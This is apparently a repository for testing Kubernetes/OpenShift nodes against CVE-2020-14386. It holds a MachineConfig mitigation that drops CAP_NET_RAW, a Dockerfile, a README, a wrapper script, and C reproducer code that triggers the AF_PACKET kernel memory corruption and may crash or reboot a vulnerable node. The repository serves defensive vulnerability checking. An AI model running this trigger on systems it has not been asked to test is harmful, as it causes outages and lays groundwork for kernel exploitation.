├── 50-reset-crio-capabilities.conf ├── Dockerfile ├── README.md ├── cve-cap-net-raw.c └── wrapper.sh /50-reset-crio-capabilities.conf: -------------------------------------------------------------------------------- 1 | # Mitigate https://bugzilla.redhat.com/show_bug.cgi?id=1875699 2 | # by dropping CAP_NET_RAW from the default capabilities 3 | apiVersion: machineconfiguration.openshift.io/v1 4 | kind: MachineConfig 5 | metadata: 6 | labels: 7 | machineconfiguration.openshift.io/role: worker 8 | name: 50-reset-crio-capabilities 9 | spec: 10 | config: 11 | ignition: 12 | version: 2.2.0 13 | storage: 14 | files: 15 | - contents: 16 | source: data:text/plain;charset=utf-8;base64,W2NyaW8ucnVudGltZV0KZGVmYXVsdF9jYXBhYmlsaXRpZXMgPSBbCiAgICAiQ0hPV04iLAogICAgIkRBQ19PVkVSUklERSIsCiAgICAiRlNFVElEIiwKICAgICJGT1dORVIiLAogICAgIlNFVEdJRCIsCiAgICAiU0VUVUlEIiwKICAgICJTRVRQQ0FQIiwKICAgICJORVRfQklORF9TRVJWSUNFIiwKICAgICJTWVNfQ0hST09UIiwKICAgICJLSUxMIiwKXQo= 17 | filesystem: root 18 | mode: 0644 19 | path: /etc/crio/crio.conf.d/reset-crio-capabilities.conf 20 | 21 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Yeah there are smaller containers but eh, I know this one 2 | # and am not a fan of pulling gcc from Docker Hub. 3 | FROM registry.svc.ci.openshift.org/coreos/cosa-buildroot as builder 4 | WORKDIR /srv 5 | COPY cve-cap-net-raw.c . 6 | RUN gcc -Wall -o cve-cap-net-raw cve-cap-net-raw.c 7 | FROM registry.fedoraproject.org/fedora:32 8 | COPY --from=builder /srv/cve-cap-net-raw /usr/bin/cve-2020-14386 9 | COPY wrapper.sh /usr/bin/cve-2020-14386-wrap 10 | RUN setcap cap_net_raw+ep /usr/bin/cve-2020-14386 11 | ENTRYPOINT ["/usr/bin/cve-2020-14386-wrap"] 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Reproducer for CVE-2020-14386 2 | 3 | Pre-built container: `registry.svc.ci.openshift.org/coreos/cve-2020-14386` 4 | 5 | You probably want to test against an explicit node, like this: 6 | 7 | ``` 8 | apiVersion: v1 9 | kind: Pod 10 | metadata: 11 | name: cve-2020-14386 12 | spec: 13 | restartPolicy: Never 14 | nodeName: 15 | containers: 16 | - name: cve-2020-14386 17 | image: registry.svc.ci.openshift.org/coreos/cve-2020-14386 18 | imagePullPolicy: Always 19 | ``` 20 | 21 | Replace `yournode` with a particular node you want to validate, then 22 | `kubectl create -f pod.yaml` from the content above. 23 | If your kernel is vulnerable, the node may crash or reboot; use e.g. 24 | `kubectl get node/` and check if the node goes `NotReady` 25 | and reboots. 26 | 27 | If the node is not vulnerable, then `kubectl logs pod/cve-2020-14386` 28 | will show something like: 29 | ``` 30 | Running reproducer for CVE-2020-14386 in 5s - this may crash the node 31 | Reproducer exited successfully - node probably not vulnerable 32 | ``` 33 | -------------------------------------------------------------------------------- /cve-cap-net-raw.c: -------------------------------------------------------------------------------- 1 | /* Taken from https://www.openwall.com/lists/oss-security/2020/09/03/3 */ 2 | #define _GNU_SOURCE 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | 22 | bool write_file(const char* file, const char* what, ...) { 23 | char buf[1024]; 24 | va_list args; 25 | va_start(args, what); 26 | vsnprintf(buf, sizeof(buf), what, args); 27 | va_end(args); 28 | buf[sizeof(buf) - 1] = 0; 29 | int len = strlen(buf); 30 | 31 | int fd = open(file, O_WRONLY | O_CLOEXEC); 32 | if (fd == -1) 33 | return false; 34 | if (write(fd, buf, len) != len) { 35 | close(fd); 36 | return false; 37 | } 38 | close(fd); 39 | return true; 40 | } 41 | 42 | 43 | void setup_unshare() { 44 | int real_uid = getuid(); 45 | int real_gid = getgid(); 46 | 47 | if (unshare(CLONE_NEWUSER) != 0) { 48 | perror("[-] unshare(CLONE_NEWUSER)"); 49 | exit(EXIT_FAILURE); 50 | } 51 | 52 | if (unshare(CLONE_NEWNET) != 0) { 53 | perror("[-] unshare(CLONE_NEWNET)"); 54 | exit(EXIT_FAILURE); 55 | } 56 | 57 | if (!write_file("/proc/self/setgroups", "deny")) { 58 | perror("[-] write_file(/proc/self/set_groups)"); 59 | exit(EXIT_FAILURE); 60 | } 61 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 62 | perror("[-] write_file(/proc/self/uid_map)"); 63 | exit(EXIT_FAILURE); 64 | } 65 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 66 | perror("[-] write_file(/proc/self/gid_map)"); 67 | exit(EXIT_FAILURE); 68 | } 69 | } 70 | 71 | void prep() { 72 | cpu_set_t my_set; 73 | CPU_ZERO(&my_set); 74 | CPU_SET(0, &my_set); 75 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 76 | perror("[-] sched_setaffinity()"); 77 | exit(EXIT_FAILURE); 78 | } 79 | } 80 | 81 | void packet_socket_send(int s, char *buffer, int size) { 82 | struct sockaddr_ll sa; 83 | memset(&sa, 0, sizeof(sa)); 84 | sa.sll_ifindex = if_nametoindex("lo"); 85 | sa.sll_halen = ETH_ALEN; 86 | 87 | if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, 88 | sizeof(sa)) < 0) { 89 | perror("[-] sendto(SOCK_RAW)"); 90 | exit(EXIT_FAILURE); 91 | } 92 | } 93 | 94 | void loopback_send(char *buffer, int size) { 95 | int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 96 | if (s == -1) { 97 | perror("[-] socket(SOCK_RAW)"); 98 | exit(EXIT_FAILURE); 99 | } 100 | 101 | packet_socket_send(s, buffer, size); 102 | } 103 | 104 | 105 | 106 | int main(int argc, char **argv) 107 | { 108 | int skip_unshare = 0; 109 | struct stat stbuf; 110 | 111 | if (argc > 1 && strcmp (argv[1], "skip-unshare") == 0) 112 | skip_unshare = 1; 113 | else if (stat ("/run/secrets/kubernetes.io", &stbuf) == 0) 114 | skip_unshare = 1; 115 | 116 | if (!skip_unshare) 117 | setup_unshare(); 118 | 119 | prep(); 120 | 121 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) ); 122 | if (s < 0) 123 | { 124 | perror("socket"); 125 | return 1; 126 | } 127 | 128 | int v = TPACKET_V2; 129 | int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); 130 | if (rv < 0) 131 | { 132 | perror("setsockopt(PACKET_VERSION)\n"); 133 | return 1; 134 | } 135 | 136 | v = 1; 137 | rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v)); 138 | if (rv < 0) 139 | { 140 | perror("setsockopt(PACKET_VNET_HDR)\n"); 141 | return 1; 142 | } 143 | 144 | v = 0xffff - 20 - 0x30 -7; 145 | rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v)); 146 | if (rv < 0) 147 | { 148 | perror("setsockopt(PACKET_RESERVE)\n"); 149 | return 1; 150 | } 151 | 152 | struct tpacket_req req; 153 | memset(&req, 0, sizeof(req)); 154 | req.tp_block_size = 0x800000; 155 | req.tp_frame_size = 0x11000; 156 | req.tp_block_nr = 1; 157 | req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; 158 | 159 | rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); 160 | if (rv < 0) { 161 | perror("[-] setsockopt(PACKET_RX_RING)"); 162 | exit(EXIT_FAILURE); 163 | } 164 | 165 | 166 | struct sockaddr_ll sa; 167 | memset(&sa, 0, sizeof(sa)); 168 | sa.sll_family = PF_PACKET; 169 | sa.sll_protocol = htons(ETH_P_ALL); 170 | sa.sll_ifindex = if_nametoindex("lo"); 171 | sa.sll_hatype = 0; 172 | sa.sll_pkttype = 0; 173 | sa.sll_halen = 0; 174 | 175 | rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 176 | if (rv < 0) { 177 | perror("[-] bind(AF_PACKET)"); 178 | exit(EXIT_FAILURE); 179 | } 180 | 181 | uint32_t size = 0x80000/8; 182 | char* buf = malloc(size); 183 | if(!buf) 184 | { 185 | perror("malloc\n"); 186 | exit(EXIT_FAILURE); 187 | } 188 | memset(buf,0xce,size); 189 | loopback_send(buf,size); 190 | 191 | return 0; 192 | } 193 | 194 | 195 | -------------------------------------------------------------------------------- /wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | t=5s 4 | echo "Running reproducer for CVE-2020-14386 in ${t} - this may crash the node" 5 | sleep $t 6 | if ! /usr/bin/cve-2020-14386; then 7 | echo 'Reproducer failed!' 1>&2 8 | exit 1 9 | fi 10 | sleep 5 11 | echo "Reproducer exited successfully - node probably not vulnerable" 12 | 13 | 14 | --------------------------------------------------------------------------------